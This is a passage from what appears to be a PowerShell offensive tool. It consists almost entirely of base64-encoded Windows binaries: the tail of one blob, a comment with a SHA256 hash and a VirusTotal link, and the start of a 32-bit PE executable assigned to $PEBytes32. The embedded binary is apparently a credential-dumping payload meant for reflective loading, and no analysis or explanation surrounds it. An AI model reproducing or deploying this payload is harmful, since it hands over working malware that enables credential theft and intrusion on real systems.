AqNio6Kj4qAipMKlIqWCpcKmIqaipEKqQqpiq2KroqgCrEKsgqzirSKtYq3irkKuoq+Cr6KsgrECsaKx4rIis4KwArSitOK2AraCtuK3Irdit6K34rRiuUK5grnCugK6QrqCuuK7grviuEK8YryCvKK8wrzivQK9Ir1ivaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AYAUADAMAAACgCKAYoCCgKKAwoDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigCKEQoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQiiEKIYoiCiKKIwojiiQKJIolCiWKJgomiicKJ4ooCiiKKoorCiyKLQotii4KLoovCi+KIwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjyKP4owCkGKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopLCkuKTApMik0KTYpOCk6KTwpPikAKUIpRClIKUopTClQKVIpWClaKWApYiloKWopbClwKXIpdCl4KXopfClAKYIpiCmKKZApkimYKZopoCmiKagpqimwKbIpuCm6KbwpgCnCKcQpyCnKKdAp0inYKdop3CneKeAp4inkKeYp6CnqKewp7inwKfIp9Cn2Kfgp+in8Kf4pwCoCKgQqBioIKgoqDCoOKhAqEioUKhYqGCoaKjAqMioAKkIqRCpGKkgqdip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqniqgKqIqpCqoKqoqriqwKrIqvCq+KoAqwirEKsYqyCrKKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsMKw4rEisUKxgrGiseKyArJissKy4rMCsyKzQrNis4KzorPCs+KwArRitMK04rUCtSK1QrWitgK2IrZCtmK2graitsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrkiuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AcAUAbAEAAACgCKAQoBigIKAwoEigUKBYoGCgaKBwoHiggKCIoJCgmKCgoKigsKC4oMCgyKDQoNig4KDooAChGKEgoSihMKE4oVChaKFwoXihgKGIoZChmKGgobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiMKJQonCikKKYorCiuKLQotii8KIAowijEKMYozCjOKNQo2ijcKN4o4ijkKOYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplim+KeQq5iroKuoq7iryKvQq9ir4KvoqwAAABAHABAAAABIqWCpaKkAAABwBwCMAAAAOKB4oLCh+KEYojiiWKJ4oqiiwKLIotCiCKMQo2CjmKXAqMio0KjYqOCo6KjwqPioAKkIqRipIKkoqTCpOKlAqUipUKmwqriqwKrIqtCq2KroqkCrkKvgq2CscKywrMCsAK0QrVCtYK2grbCt8K0ArrCuwK4ArxCvUK9gr6CvsK/orwAAAIAHALQAAAAAoBCgSKBYoGiggKCQoNCg4KAgoTChaKF4oZiiqKLooviiOKNIo4ijmKPYo+ijKKQ4pHikiKTIpNikGKUopWileKW4pcilCKYYplimaKaoprim+KYIp0inWKeYp6in6Kf4pzioSKiIqJio2KjoqCipOKl4qYipyKnYqRiqKKpoqniquKrIqgirGKtYq2irqKu4q/irCKxIrFis0KzgrLCtAK5QrgCvUK+grwAAAJAHAIAAAAAQoCCgYKBwoLCgwKAAoRChsKHAoQCiEKJQomCioKKwovCiAKOAo9CjIKRwpNCk2KRApZCl4KUwpoCmAKdQp6Cn8KdAqJCo4KgwqYCp0KkgqnCqwKoQq3CriKvQqyCsoKzwrECtkK3grTCucK54roiu0K4gr3CvwK8AoAcAVAAAABCgYKDQoOigIKE4oYCh0KEgonCiwKIQo1CjWKNoo7Cj8KP4owikQKRIpFikoKTwpEClsKW4pcilEKZQplimaKawpgCnUKeQp5inqKcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' + + # SHA256 hash: c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae + # https://www.virustotal.com/en/file/c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae/analysis/1450152913/ + $PEBytes32 = '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